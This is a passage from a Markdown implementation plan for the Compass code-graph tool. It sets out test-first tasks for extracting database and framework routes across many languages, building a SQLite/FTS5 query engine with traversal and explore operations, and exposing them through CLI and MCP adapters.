provider +fingerprints. Sort files by normalized path, nodes by ID, and links by +`(source, target, kind, id)`. Validate graph and Program fingerprints before +publishing the guarded output directory. + +- [ ] **Step 4: Verify publication** + +Run: + +```bash +cargo test -p compass-core -p compass-history --all-targets --locked +``` + +Expected: all tests pass and repeated builds are byte-identical. + +- [ ] **Step 5: Commit** + +```bash +git add crates/compass-core crates/compass-files crates/compass-graph crates/compass-history +git commit -m "feat(core): publish canonical graph generations" +``` + +## Milestone 3: Add enterprise and framework producers + +### Task 6: Emit SQL and database-domain nodes and edges + +**Files:** + +- Modify: `crates/compass-languages/src/sql.rs` +- Modify: `crates/compass-languages/src/package_manifest.rs` +- Modify: `crates/compass-languages/src/json_config.rs` +- Modify: `crates/compass-languages/src/terraform.rs` +- Create: `fixtures/code-graph/domain/database.sql` +- Create: `fixtures/code-graph/domain/database.expected.json` +- Test: `crates/compass-languages/tests/domain_extraction.rs` +- Test: `crates/compass-graph/tests/domain_normalization.rs` + +**Interfaces:** + +- Produces all database, schema, query, migration, config-key, package, and + resource node kinds plus `reads`, `writes`, `depends_on`, and `maps_to` + edges backed by direct syntax/configuration evidence. + +- [ ] **Step 1: Write the failing domain fixture test** + +The SQL fixture must contain one schema, table, view, index, constraint, +procedure, trigger, migration marker, `SELECT`, `INSERT`, and `UPDATE`. + +```rust +#[test] +fn sql_emits_the_database_vocabulary() { + let graph = build_fixture("fixtures/code-graph/domain/database.sql"); + assert_kinds(&graph, [ + NodeKind::DatabaseSchema, NodeKind::DatabaseTable, + NodeKind::DatabaseView, NodeKind::DatabaseColumn, + NodeKind::DatabaseIndex, NodeKind::DatabaseConstraint, + NodeKind::DatabaseProcedure, NodeKind::DatabaseTrigger, + NodeKind::Query, NodeKind::Migration, + ]); + assert_edge(&graph, EdgeKind::Reads, "recent_orders", "orders"); + assert_edge(&graph, EdgeKind::Writes, "insert_order", "orders"); +} +``` + +- [ ] **Step 2: Verify the test fails** + +Run: + +```bash +cargo test -p compass-languages --test domain_extraction --locked +cargo test -p compass-graph --test domain_normalization --locked +``` + +Expected: current SQL facts do not cover the complete v1 domain vocabulary. + +- [ ] **Step 3: Implement exact producers** + +Emit a domain node only when its parser exposes a definition or direct +configuration key. Preserve SQL object qualification and query sites. Do not +infer ORM mappings in this task. Emit package/resource/config facts from +manifests, JSON configuration, and Terraform only when the key or block type +matches the closed producer registry. + +- [ ] **Step 4: Verify domain extraction** + +Run: + +```bash +cargo test -p compass-languages -p compass-graph --all-targets --locked +``` + +Expected: every domain node/edge in this task has positive and negative fixture +coverage. + +- [ ] **Step 5: Commit** + +```bash +git add crates/compass-languages crates/compass-graph fixtures/code-graph/domain +git commit -m "feat(languages): extract database domain facts" +``` + +### Task 7: Introduce the framework-fact and route-resolution interfaces + +**Files:** + +- Create: `crates/compass-languages/src/frameworks/mod.rs` +- Create: `crates/compass-languages/src/frameworks/model.rs` +- Modify: `crates/compass-languages/src/facts.rs` +- Modify: `crates/compass-languages/src/lib.rs` +- Create: `crates/compass-resolve/src/frameworks/mod.rs` +- Create: `crates/compass-resolve/src/frameworks/routes.rs` +- Modify: `crates/compass-resolve/src/lib.rs` +- Test: `crates/compass-resolve/tests/framework_routes.rs` + +**Interfaces:** + +- Produces: + `FrameworkFact::Route`, `HandlerReference`, `MiddlewareReference`, + `RouteResolution::{Exact, Ambiguous, Unresolved}`, and + `resolve_framework_facts`. +- Consumers: Tasks 8-12. + +- [ ] **Step 1: Write failing generic route-resolution tests** + +```rust +#[test] +fn exact_route_resolution_emits_ordered_routes_to_edges() { + let resolved = resolve_fixture(route_fact( + "express", "GET", "/orders", ["auth", "list_orders"] + )); + assert_routes_to(&resolved, "GET /orders", [ + ("auth", "middleware", 0), + ("list_orders", "handler", 1), + ]); +} + +#[test] +fn duplicate_handler_names_remain_ambiguous() { + let resolved = resolve_fixture(route_to_name("show")); + assert_eq!(route(&resolved).resolution, RouteResolution::Ambiguous); + assert_eq!(route(&resolved).candidates.len(), 2); + assert!(resolved.edges.iter().all(|e| e.provenance.confidence != Exact)); +} +``` + +- [ ] **Step 2: Verify the tests fail** + +Run: + +```bash +cargo test -p compass-resolve --test framework_routes --locked +``` + +Expected: framework facts and route resolution do not exist. + +- [ ] **Step 3: Implement the interfaces** + +Use this route fact shape: + +```rust +pub struct RouteFact { + pub framework: Framework, + pub method: String, + pub original_path: String, + pub normalized_path: String, + pub scope: String, + pub anchor: RawSourceAnchor, + pub provenance_origin: EvidenceOrigin, + pub handler: HandlerReference, + pub middleware: Vec, +} +``` + +Resolve exact qualified IDs first, imported aliases second, unique scoped names +third. Multiple candidates remain bounded and sorted. Emit one `routes_to` +edge per stage with `stage` and `position`. + +- [ ] **Step 4: Verify the resolver** + +Run: + +```bash +cargo test -p compass-resolve --all-targets --locked +``` + +Expected: exact, ambiguous, unresolved, middleware-order, and heuristic wiring +tests pass. + +- [ ] **Step 5: Commit** + +```bash +git add crates/compass-languages crates/compass-resolve +git commit -m "feat(resolve): add framework route facts" +``` + +### Task 8: Add Python routing packs + +**Files:** + +- Create: `crates/compass-languages/src/frameworks/python.rs` +- Create: `crates/compass-resolve/src/frameworks/python.rs` +- Create: `fixtures/code-graph/routes/python/django_urls.py` +- Create: `fixtures/code-graph/routes/python/flask_app.py` +- Create: `fixtures/code-graph/routes/python/fastapi_app.py` +- Create: `fixtures/code-graph/routes/python/near_matches.py` +- Test: `crates/compass-resolve/tests/python_routes.rs` + +**Interfaces:** + +- Produces Django, Flask, and FastAPI route facts and resolved `routes_to` + edges. + +- [ ] **Step 1: Write failing framework tests** + +Cover: + +- Django `path`, `re_path`, legacy `url`, `include`, `.as_view`, and dotted + paths; +- Flask app and blueprint decorators with methods; +- FastAPI app/router decorators for GET, POST, PUT, PATCH, DELETE, OPTIONS, + HEAD, and WebSocket; +- strings and unrelated decorators that must emit zero routes. + +```rust +#[test] +fn django_include_composes_prefix_and_child_path() { + let graph = build_python_routes("django_urls.py"); + assert_route(&graph, "GET", "/api/users/:id", "UserDetail.as_view"); +} +``` + +- [ ] **Step 2: Verify the tests fail** + +Run: + +```bash +cargo test -p compass-resolve --test python_routes --locked +``` + +Expected: no Python route facts are emitted. + +- [ ] **Step 3: Implement Python detection and resolution** + +Parse decorator/call arguments from tree-sitter nodes, never regular-expression +scan whole files. Normalize Django converters and regex routes without claiming +equivalence between distinct regexes. Blueprint/include composition is exact +only when the prefix is a static literal; otherwise keep an unresolved route +with exact local evidence. + +- [ ] **Step 4: Verify Python packs** + +Run: + +```bash +cargo test -p compass-languages -p compass-resolve --all-targets --locked +``` + +Expected: Python route and near-match tests pass. + +- [ ] **Step 5: Commit** + +```bash +git add crates/compass-languages crates/compass-resolve fixtures/code-graph/routes/python +git commit -m "feat(frameworks): resolve Python web routes" +``` + +### Task 9: Add TypeScript/JavaScript and file-route packs + +**Files:** + +- Create: `crates/compass-languages/src/frameworks/typescript.rs` +- Create: `crates/compass-languages/src/frameworks/file_routes.rs` +- Create: `crates/compass-resolve/src/frameworks/typescript.rs` +- Create: `fixtures/code-graph/routes/typescript/express.ts` +- Create: `fixtures/code-graph/routes/typescript/nest.ts` +- Create: `fixtures/code-graph/routes/typescript/react-router.tsx` +- Create: `fixtures/code-graph/routes/typescript/sveltekit/src/routes/users/[id]/+page.svelte` +- Create: `fixtures/code-graph/routes/typescript/sveltekit/src/routes/users/[id]/+server.ts` +- Create: `fixtures/code-graph/routes/typescript/vue-router.ts` +- Create: `fixtures/code-graph/routes/typescript/nuxt/pages/users/[id].vue` +- Create: `fixtures/code-graph/routes/typescript/nuxt/server/api/users.get.ts` +- Create: `fixtures/code-graph/routes/typescript/nuxt/middleware/auth.ts` +- Create: `fixtures/code-graph/routes/typescript/astro/src/pages/about.astro` +- Create: `fixtures/code-graph/routes/typescript/astro/src/pages/users/[id].ts` +- Create: `fixtures/code-graph/routes/typescript/near-matches.ts` +- Test: `crates/compass-resolve/tests/typescript_routes.rs` + +**Interfaces:** + +- Produces Express, NestJS, React Router, SvelteKit, Vue Router, Nuxt, and + Astro routes, plus NestJS GraphQL/message/event/WebSocket domain facts. + +- [ ] **Step 1: Write failing TypeScript route tests** + +Assert: + +- Express middleware order and router prefixes; +- NestJS controller prefixes and all approved HTTP decorators; +- NestJS GraphQL query/mutation/resolver, message pattern, event pattern, and + subscribed-message nodes/edges; +- React Router route components; +- SvelteKit, Nuxt, and Astro convention provenance; +- Vue configured routes and route middleware; +- dynamic path expressions remain unresolved rather than exact. + +```rust +#[test] +fn nest_controller_prefix_and_method_path_compose() { + let graph = build_ts_routes("nest.ts"); + assert_route(&graph, "GET", "/admin/users/:id", "UsersController.show"); + assert_role(&graph, "UsersController.show", NodeRole::RouteHandler); +} +``` + +- [ ] **Step 2: Verify the tests fail** + +Run: + +```bash +cargo test -p compass-resolve --test typescript_routes --locked +``` + +Expected: TypeScript framework facts are absent. + +- [ ] **Step 3: Implement TypeScript and convention packs** + +Use AST decorators/calls for Express, NestJS, React Router, and Vue Router. +Use normalized repository paths for SvelteKit, Nuxt, and Astro. Mark file +routes `convention`, not `heuristic`. Mark reflective NestJS dispatch +`heuristic` only when a runtime registration boundary cannot be proven. + +- [ ] **Step 4: Verify TypeScript packs** + +Run: + +```bash +cargo test -p compass-languages -p compass-resolve --all-targets --locked +``` + +Expected: all TypeScript route, domain, and near-match tests pass. + +- [ ] **Step 5: Commit** + +```bash +git add crates/compass-languages crates/compass-resolve fixtures/code-graph/routes/typescript +git commit -m "feat(frameworks): resolve TypeScript web routes" +``` + +### Task 10: Add PHP, Ruby, and JVM routing packs + +**Files:** + +- Create: `crates/compass-languages/src/frameworks/php.rs` +- Create: `crates/compass-languages/src/frameworks/ruby.rs` +- Create: `crates/compass-languages/src/frameworks/java.rs` +- Create: `crates/compass-languages/src/frameworks/play.rs` +- Create: `crates/compass-resolve/src/frameworks/php.rs` +- Create: `crates/compass-resolve/src/frameworks/ruby.rs` +- Create: `crates/compass-resolve/src/frameworks/jvm.rs` +- Create: `fixtures/code-graph/routes/php/laravel.php` +- Create: `fixtures/code-graph/routes/php/drupal.routing.yml` +- Create: `fixtures/code-graph/routes/php/drupal.module` +- Create: `fixtures/code-graph/routes/php/near_matches.php` +- Create: `fixtures/code-graph/routes/ruby/rails.rb` +- Create: `fixtures/code-graph/routes/ruby/near_matches.rb` +- Create: `fixtures/code-graph/routes/jvm/SpringController.java` +- Create: `fixtures/code-graph/routes/jvm/play/conf/routes` +- Create: `fixtures/code-graph/routes/jvm/PlayController.java` +- Create: `fixtures/code-graph/routes/jvm/PlayController.scala` +- Create: `fixtures/code-graph/routes/jvm/NearMatches.java` +- Test: `crates/compass-resolve/tests/php_ruby_jvm_routes.rs` + +**Interfaces:** + +- Produces Laravel, Drupal, Rails, Spring, and Play route facts and handlers. + +- [ ] **Step 1: Write failing ecosystem tests** + +The fixtures must cover: + +- Laravel route methods, resources, `Controller@action`, and tuple syntax; +- Drupal `*.routing.yml` `_controller`, `_form`, entity handlers, HTTP methods, + and `hook_*` implementations; +- Rails `to:` and hash-rocket syntax; +- Spring class/method prefixes, `RequestMapping`, and composed method mappings; +- Play verb routes to Scala and Java actions; +- near-match files that emit zero routes. + +```rust +#[test] +fn laravel_resource_expands_to_canonical_actions() { + let graph = build_fixture("php/laravel.php"); + assert_route(&graph, "GET", "/users/:user", "UserController.show"); + assert_route(&graph, "DELETE", "/users/:user", "UserController.destroy"); +} +``` + +- [ ] **Step 2: Verify the tests fail** + +Run: + +```bash +cargo test -p compass-resolve --test php_ruby_jvm_routes --locked +``` + +Expected: the five framework families are missing. + +- [ ] **Step 3: Implement the packs** + +Use tree-sitter for PHP, Ruby, Java, Scala, and controller symbols. Use bounded +YAML parsing for Drupal and line-oriented grammar-aware parsing for Play +`conf/routes`. Generated Laravel resource routes use `config` evidence anchored +to the resource declaration and distinct stable route identities. + +- [ ] **Step 4: Verify PHP, Ruby, and JVM packs** + +Run: + +```bash +cargo test -p compass-languages -p compass-resolve --all-targets --locked +``` + +Expected: all route and near-match tests pass. + +- [ ] **Step 5: Commit** + +```bash +git add crates/compass-languages crates/compass-resolve fixtures/code-graph/routes/php fixtures/code-graph/routes/ruby fixtures/code-graph/routes/jvm +git commit -m "feat(frameworks): resolve PHP Ruby and JVM routes" +``` + +### Task 11: Add Go, Rust, C#, and Swift routing packs + +**Files:** + +- Create: `crates/compass-languages/src/frameworks/go.rs` +- Create: `crates/compass-languages/src/frameworks/rust.rs` +- Create: `crates/compass-languages/src/frameworks/csharp.rs` +- Create: `crates/compass-languages/src/frameworks/swift.rs` +- Create: `crates/compass-resolve/src/frameworks/native.rs` +- Create: `fixtures/code-graph/routes/go/gin.go` +- Create: `fixtures/code-graph/routes/go/chi.go` +- Create: `fixtures/code-graph/routes/go/gorilla.go` +- Create: `fixtures/code-graph/routes/go/near_matches.go` +- Create: `fixtures/code-graph/routes/rust/axum.rs` +- Create: `fixtures/code-graph/routes/rust/actix.rs` +- Create: `fixtures/code-graph/routes/rust/rocket.rs` +- Create: `fixtures/code-graph/routes/rust/near_matches.rs` +- Create: `fixtures/code-graph/routes/csharp/AspNetController.cs` +- Create: `fixtures/code-graph/routes/csharp/NearMatches.cs` +- Create: `fixtures/code-graph/routes/swift/VaporRoutes.swift` +- Create: `fixtures/code-graph/routes/swift/NearMatches.swift` +- Test: `crates/compass-resolve/tests/native_routes.rs` + +**Interfaces:** + +- Produces Gin, chi, gorilla/mux, Axum, actix, Rocket, ASP.NET, and Vapor route + facts and handlers. + +- [ ] **Step 1: Write failing native-stack tests** + +Cover: + +- Go `GET`, `POST`, and `HandleFunc`, group prefixes, and middleware; +- Rust Axum chained `.route`, actix route builders/attributes, Rocket route + attributes and mounting; +- ASP.NET controller/action prefixes and HTTP method attributes; +- Vapor application and grouped-route registrations; +- computed paths and receiver calls that are not router instances. + +```rust +#[test] +fn axum_route_resolves_get_handler() { + let graph = build_fixture("rust/axum.rs"); + assert_route(&graph, "GET", "/users/:id", "show_user"); + assert_edge_kind(&graph, "GET /users/:id", "show_user", EdgeKind::RoutesTo); +} +``` + +- [ ] **Step 2: Verify the tests fail** + +Run: + +```bash +cargo test -p compass-resolve --test native_routes --locked +``` + +Expected: native-stack route packs are missing. + +- [ ] **Step 3: Implement native-stack packs** + +Require router receiver/type evidence before treating method calls as routes. +Compose static group/mount prefixes. Preserve computed paths as unresolved +facts. ASP.NET attribute routes are AST evidence; route-convention expansion +is convention evidence. + +- [ ] **Step 4: Verify native-stack packs** + +Run: + +```bash +cargo test -p compass-languages -p compass-resolve --all-targets --locked +``` + +Expected: route and near-match tests pass. + +- [ ] **Step 5: Commit** + +```bash +git add crates/compass-languages crates/compass-resolve fixtures/code-graph/routes/go fixtures/code-graph/routes/rust fixtures/code-graph/routes/csharp fixtures/code-graph/routes/swift +git commit -m "feat(frameworks): resolve native web routes" +``` + +### Task 12: Resolve events, messages, jobs, and ORM mappings + +**Files:** + +- Create: `crates/compass-resolve/src/frameworks/domain.rs` +- Modify: `crates/compass-languages/src/frameworks/python.rs` +- Modify: `crates/compass-languages/src/frameworks/typescript.rs` +- Modify: `crates/compass-languages/src/frameworks/file_routes.rs` +- Modify: `crates/compass-languages/src/frameworks/php.rs` +- Modify: `crates/compass-languages/src/frameworks/ruby.rs` +- Modify: `crates/compass-languages/src/frameworks/java.rs` +- Modify: `crates/compass-languages/src/frameworks/play.rs` +- Modify: `crates/compass-languages/src/frameworks/go.rs` +- Modify: `crates/compass-languages/src/frameworks/rust.rs` +- Modify: `crates/compass-languages/src/frameworks/csharp.rs` +- Modify: `crates/compass-languages/src/frameworks/swift.rs` +- Modify: `crates/compass-resolve/src/frameworks/python.rs` +- Modify: `crates/compass-resolve/src/frameworks/typescript.rs` +- Modify: `crates/compass-resolve/src/frameworks/php.rs` +- Modify: `crates/compass-resolve/src/frameworks/ruby.rs` +- Modify: `crates/compass-resolve/src/frameworks/jvm.rs` +- Modify: `crates/compass-resolve/src/frameworks/native.rs` +- Create: `fixtures/code-graph/domain/messaging/nest.ts` +- Create: `fixtures/code-graph/domain/messaging/spring.java` +- Create: `fixtures/code-graph/domain/messaging/dynamic-near-matches.ts` +- Create: `fixtures/code-graph/domain/jobs/spring.java` +- Create: `fixtures/code-graph/domain/jobs/aspnet.cs` +- Create: `fixtures/code-graph/domain/jobs/celery.py` +- Create: `fixtures/code-graph/domain/jobs/dynamic-near-matches.py` +- Create: `fixtures/code-graph/domain/orm/django.py` +- Create: `fixtures/code-graph/domain/orm/sqlalchemy.py` +- Create: `fixtures/code-graph/domain/orm/typeorm.ts` +- Create: `fixtures/code-graph/domain/orm/jpa.java` +- Create: `fixtures/code-graph/domain/orm/entity-framework.cs` +- Create: `fixtures/code-graph/domain/orm/active-record.rb` +- Create: `fixtures/code-graph/domain/orm/eloquent.php` +- Create: `fixtures/code-graph/domain/orm/gorm.go` +- Create: `fixtures/code-graph/domain/orm/diesel.rs` +- Create: `fixtures/code-graph/domain/orm/dynamic-near-matches.ts` +- Test: `crates/compass-resolve/tests/domain_resolution.rs` + +**Interfaces:** + +- Produces: + `event`, `message`, `topic`, `queue`, and `job` nodes; + `registers`, `handles`, `publishes`, `subscribes`, `produces`, `consumes`, + `schedules`, `triggers`, and exact `maps_to` edges. + +- [ ] **Step 1: Write failing domain-resolution tests** + +Fixtures must cover: + +- NestJS message/event/WebSocket handlers; +- Spring events and scheduled jobs; +- ASP.NET hosted/background jobs; +- Django/Celery task registration; +- exact ORM table mappings for Django, SQLAlchemy, TypeORM, JPA/Hibernate, + Entity Framework, ActiveRecord, Eloquent, GORM, and Diesel; +- dynamic subjects/table names that remain unresolved. + +```rust +#[test] +fn scheduled_job_triggers_its_handler() { + let graph = build_fixture("jobs/spring.java"); + assert_edge_kind(&graph, "nightly-cleanup", "Cleanup.run", EdgeKind::Triggers); + assert_exact_anchor(&graph, "nightly-cleanup"); +} +``` + +- [ ] **Step 2: Verify the tests fail** + +Run: + +```bash +cargo test -p compass-resolve --test domain_resolution --locked +``` + +Expected: domain dispatch and ORM mappings are absent. + +- [ ] **Step 3: Implement evidence-gated resolution** + +Emit exact edges only from literal registrations, annotations, generated +artifact facts, or exact ORM mapping declarations. Dynamic subject/table +expressions produce unresolved facts. Runtime registry synthesis uses +`heuristic` provenance with rule and wiring site. + +- [ ] **Step 4: Verify domain resolution** + +Run: + +```bash +cargo test -p compass-resolve -p compass-graph --all-targets --locked +``` + +Expected: every enterprise node and edge kind has a positive producer and a +negative fixture. + +- [ ] **Step 5: Commit** + +```bash +git add crates/compass-resolve crates/compass-languages fixtures/code-graph/domain +git commit -m "feat(resolve): connect enterprise domain facts" +``` + +## Milestone 4: Build the shared query engine + +### Task 13: Define `compass.query/1` and reconcile Program IR + +**Files:** + +- Create: `crates/compass-model/src/query_contract.rs` +- Modify: `crates/compass-model/src/lib.rs` +- Create: `crates/compass-query/src/program_join.rs` +- Modify: `crates/compass-query/src/lib.rs` +- Modify: `crates/compass-query/Cargo.toml` +- Test: `crates/compass-query/tests/program_join.rs` +- Test: `crates/compass-query/tests/query_contract.rs` + +**Interfaces:** + +- Produces: + `CodeQueryRequest`, `CodeQueryResponse`, `QueryNode`, `QueryEdge`, + `QueryFile`, `QueryPath`, `QueryDiagnostic`, `CodeQueryLimits`, + `ProgramEvidenceJoin`. +- Consumes: `Graph`, optional `compass_analysis::AnalysisBundle`. + +- [ ] **Step 1: Write failing contract and reconciliation tests** + +```rust +#[test] +fn response_schema_is_versioned_and_preserves_two_evidence_layers() { + let response = query_fixture_with_program(); + let value = serde_json::to_value(response).unwrap(); + assert_eq!(value["schema"], "compass.query/1"); + assert_eq!(value["edges"][0]["evidence"].as_array().unwrap().len(), 2); + assert_eq!(value["edges"][0]["evidence"][0]["layer"], "structural_graph"); + assert_eq!(value["edges"][0]["evidence"][1]["layer"], "program_ir"); +} + +#[test] +fn program_only_symbol_is_a_diagnostic_not_a_structural_node() { + let response = query_fixture_with_orphan_program_symbol(); + assert!(response.nodes.iter().all(|node| node.id != "program-only")); + assert!(response.diagnostics.iter().any(|d| d.code == "program_orphan")); +} +``` + +- [ ] **Step 2: Verify the tests fail** + +Run: + +```bash +cargo test -p compass-query --test query_contract --locked +cargo test -p compass-query --test program_join --locked +``` + +Expected: query v1 and Program join types are absent. + +- [ ] **Step 3: Implement transport-neutral responses** + +Add `compass-analysis` and `compass-ir` path dependencies to +`compass-query`. Join by `graph_node_id`; merge evidence without overwriting. +Represent conflicts and missing graph identities as diagnostics. Keep all +response collections sorted by stable identity. + +Use one additive response envelope for every operation: + +```rust +pub struct CodeQueryResponse { + pub schema: String, // always "compass.query/1" + pub operation: CodeQueryOperation, + pub results: Vec, // populated by search + pub nodes: Vec, + pub edges: Vec, + pub files: Vec, + pub paths: Vec, + pub diagnostics: Vec, + pub limits: CodeQueryLimits, + pub truncated: bool, +} +``` + +Non-search operations return an empty `results` array; search returns its +ranked hits there and includes the corresponding nodes in `nodes`. + +- [ ] **Step 4: Verify query contracts** + +Run: + +```bash +cargo test -p compass-query --all-targets --locked +``` + +Expected: contract and Program reconciliation tests pass. + +- [ ] **Step 5: Commit** + +```bash +git add crates/compass-model crates/compass-query +git commit -m "feat(query): define shared code query contract" +``` + +### Task 14: Build the disposable SQLite/FTS5 index and search + +**Files:** + +- Modify: `Cargo.toml` +- Modify: `crates/compass-query/Cargo.toml` +- Create: `crates/compass-query/src/index.rs` +- Create: `crates/compass-query/src/code_query.rs` +- Modify: `crates/compass-query/src/lib.rs` +- Test: `crates/compass-query/tests/code_search.rs` +- Test: `crates/compass-query/tests/index_recovery.rs` + +**Interfaces:** + +- Produces: + `CodeQueryEngine::open(graph, program, cache_dir)`, + `CodeQueryEngine::search(SearchRequest)`. +- Consumes: Tasks 1-13. + +- [ ] **Step 1: Write failing FTS5 tests** + +```rust +#[test] +fn ranking_is_exact_then_qualified_then_prefix_then_bm25() { + let engine = fixture_engine(); + let hits = engine.search(SearchRequest::new("UserService")).unwrap(); + assert_eq!(names(&hits), [ + "UserService", + "app.services.UserService", + "UserServiceFactory", + "LegacyUserServiceAdapter", + ]); +} + +#[test] +fn corrupt_cache_is_deleted_and_rebuilt() { + let fixture = fixture_paths(); + fs::write(&fixture.index, b"not sqlite").unwrap(); + let engine = CodeQueryEngine::open(&fixture.graph, None, &fixture.cache).unwrap(); + assert_eq!(engine.search(SearchRequest::new("run")).unwrap().results.len(), 1); +} +``` + +- [ ] **Step 2: Verify the tests fail** + +Run: + +```bash +cargo test -p compass-query --test code_search --locked +cargo test -p compass-query --test index_recovery --locked +``` + +Expected: index and search APIs are missing. + +- [ ] **Step 3: Implement the index** + +Add the already-locked dependency: + +```toml +rusqlite = { version = "0.31.0", features = ["bundled", "modern_sqlite"] } +``` + +Create `nodes_fts` with `name`, `qualified_name`, `kind`, `roles`, `path`, +`language`, `framework`, `signature`, and `documentation`. Cache identity is +SHA-256 over graph digest, Program digest, both schema fingerprints, and index +implementation version. Use parameterized queries and quote FTS terms. + +- [ ] **Step 4: Verify search and recovery** + +Run: + +```bash +cargo test -p compass-query --test code_search --locked +cargo test -p compass-query --test index_recovery --locked +cargo test -p compass-query --all-targets --locked +``` + +Expected: search filters, ranking, cache invalidation, and corruption recovery +pass. + +- [ ] **Step 5: Commit** + +```bash +git add Cargo.toml Cargo.lock crates/compass-query +git commit -m "feat(query): index graph symbols with FTS5" +``` + +### Task 15: Implement callers, callees, and impact + +**Files:** + +- Modify: `crates/compass-query/src/code_query.rs` +- Modify: `crates/compass-query/src/affected.rs` +- Modify: `crates/compass-query/src/traversal.rs` +- Test: `crates/compass-query/tests/code_traversal.rs` +- Test: `crates/compass-query/tests/code_impact.rs` + +**Interfaces:** + +- Produces: + `CodeQueryEngine::callers`, `CodeQueryEngine::callees`, + `CodeQueryEngine::impact`. + +- [ ] **Step 1: Write failing traversal tests** + +```rust +#[test] +fn handler_callers_include_the_binding_route() { + let engine = routing_engine(); + let response = engine.callers(CallRequest::one_hop("Users.show")).unwrap(); + assert!(response.nodes.iter().any(|node| node.kind == NodeKind::Route)); + assert!(response.edges.iter().any(|edge| edge.kind == EdgeKind::RoutesTo)); +} + +#[test] +fn exact_only_impact_excludes_heuristic_edges() { + let engine = impact_engine(); + let response = engine.impact(ImpactRequest { + exact_only: true, + ..ImpactRequest::new("charge") + }).unwrap(); + assert!(!response.edges.iter().any(|edge| edge.provenance.origin == Heuristic)); +} +``` + +Add tests for one-hop default, bounded depth, middleware order, event/job +execution, parallel sites, containment entry, no sibling explosion, reason +paths, node caps, and truncation. + +- [ ] **Step 2: Verify the tests fail** + +Run: + +```bash +cargo test -p compass-query --test code_traversal --locked +cargo test -p compass-query --test code_impact --locked +``` + +Expected: typed traversal methods are absent. + +- [ ] **Step 3: Implement traversal families** + +Execution edges are: + +```rust +const EXECUTION: &[EdgeKind] = &[ + EdgeKind::Calls, EdgeKind::RoutesTo, EdgeKind::Handles, + EdgeKind::Subscribes, EdgeKind::Schedules, EdgeKind::Triggers, +]; +``` + +Impact uses incoming dependency edges and records the predecessor edge for +every hit. Enter a container's children at the same depth; never traverse an +incoming `contains` edge. Enforce `max_depth`, `max_nodes`, `max_edges`, and +return explicit truncation. + +- [ ] **Step 4: Verify traversal** + +Run: + +```bash +cargo test -p compass-query --test code_traversal --locked +cargo test -p compass-query --test code_impact --locked +cargo test -p compass-query --all-targets --locked +``` + +Expected: all traversal tests pass. + +- [ ] **Step 5: Commit** + +```bash +git add crates/compass-query +git commit -m "feat(query): add trusted traversal and impact" +``` + +### Task 16: Implement explore and node trail + +**Files:** + +- Create: `crates/compass-query/src/source.rs` +- Modify: `crates/compass-query/src/code_query.rs` +- Modify: `crates/compass-query/src/lib.rs` +- Test: `crates/compass-query/tests/code_explore.rs` +- Test: `crates/compass-query/tests/node_trail.rs` + +**Interfaces:** + +- Produces: + `CodeQueryEngine::explore(ExploreRequest)` and + `CodeQueryEngine::node_trail(NodeTrailRequest)`. + +- [ ] **Step 1: Write failing source-integrity and path tests** + +```rust +#[test] +fn explore_groups_verified_source_by_file_and_connects_symbols() { + let engine = source_fixture_engine(); + let response = engine.explore(ExploreRequest::names(["route", "handler"])).unwrap(); + assert_eq!(response.files.len(), 2); + assert_eq!(response.paths[0].edges[0].kind, EdgeKind::RoutesTo); + assert!(response.files.iter().all(|file| file.source.is_some())); +} + +#[test] +fn explore_omits_source_when_the_digest_is_stale() { + let fixture = source_fixture(); + fs::write(fixture.root.join("src/handler.rs"), "changed").unwrap(); + let response = fixture.engine.explore(ExploreRequest::names(["handler"])).unwrap(); + assert!(response.files[0].source.is_none()); + assert!(response.diagnostics.iter().any(|d| d.code == "stale_source")); +} +``` + +Add tests for ambiguous names, Program signatures/types/effects, heuristic +wiring sites, route middleware, grouped slices, output budgets, and node-trail +ancestors/children/domain relationships. + +- [ ] **Step 2: Verify the tests fail** + +Run: + +```bash +cargo test -p compass-query --test code_explore --locked +cargo test -p compass-query --test node_trail --locked +``` + +Expected: explore and node trail do not exist. + +- [ ] **Step 3: Implement bounded source assembly** + +Verify each file's digest before reading. Select the shortest evidence-rich +path, preferring exact over inferred over ambiguous/heuristic when hop counts +tie. Group source slices by normalized file path. Track `max_chars`, +`max_files`, `max_chars_per_file`, omitted files, and truncation in the +response. + +- [ ] **Step 4: Verify explore and trail** + +Run: + +```bash +cargo test -p compass-query --test code_explore --locked +cargo test -p compass-query --test node_trail --locked +cargo test -p compass-query --all-targets --locked +``` + +Expected: all tests pass without returning stale source. + +- [ ] **Step 5: Commit** + +```bash +git add crates/compass-query +git commit -m "feat(query): add explore and node trails" +``` + +## Milestone 5: Expose one contract through every client + +### Task 17: Add CLI and MCP adapters + +**Files:** + +- Create: `crates/compass-cli/src/code_query_commands.rs` +- Modify: `crates/compass-cli/src/lib.rs` +- Modify: `crates/compass-cli/src/help.rs` +- Modify: `crates/compass-cli/src/query_commands.rs` +- Modify: `crates/compass-cli/src/call_graph_commands.rs` +- Create: `crates/compass-cli/tests/code_query_cli.rs` +- Create: `crates/compass-mcp/src/code_query.rs` +- Modify: `crates/compass-mcp/src/lib.rs` +- Test: `crates/compass-mcp/tests/code_query_tools.rs` + +**Interfaces:** + +- Produces CLI commands: + `search`, `callers`, `callees`, `impact`, `explore`, `node`. +- Produces MCP tools: + `search_symbols`, `get_callers`, `get_callees`, `get_impact`, + `explore_code`, `get_node`. +- Existing `query`, `affected`, `explain`, and `call-graph` delegate to the new + engine where their semantics overlap. + +- [ ] **Step 1: Write failing CLI/MCP parity tests** + +```rust +#[test] +fn cli_and_mcp_return_the_same_query_payload() { + let cli = run_cli(["callers", "Users.show", "--format", "json"]); + let mcp = invoke_mcp("get_callers", json!({"symbol":"Users.show"})); + assert_eq!( + canonicalize_query_payload(&cli.stdout), + canonicalize_query_payload(&mcp) + ); +} + +#[test] +fn expected_no_match_is_a_success_response() { + let result = invoke_mcp("search_symbols", json!({"query":"absent"})); + assert_eq!(result["schema"], "compass.query/1"); + assert_eq!(result["results"], json!([])); + assert_eq!(result["diagnostics"][0]["code"], "no_match"); +} +``` + +- [ ] **Step 2: Verify the tests fail** + +Run: + +```bash +cargo test -p compass-cli --test code_query_cli --locked +cargo test -p compass-mcp --test code_query_tools --locked +``` + +Expected: commands/tools are unknown. + +- [ ] **Step 3: Implement thin adapters** + +CLI JSON output serializes `CodeQueryResponse` directly. Text output is a +renderer over that response. MCP returns structured JSON plus concise text +content and reserves MCP errors for schema corruption, unsafe paths, or engine +malfunctions. Add bounded request schemas with explicit defaults. + +- [ ] **Step 4: Verify adapters** + +Run: + +```bash +cargo test -p compass-cli -p compass-mcp --all-targets --locked +``` + +Expected: CLI/MCP golden payloads match. + +- [ ] **Step 5: Commit** + +```bash +git add crates/compass-cli crates/compass-mcp +git commit -m 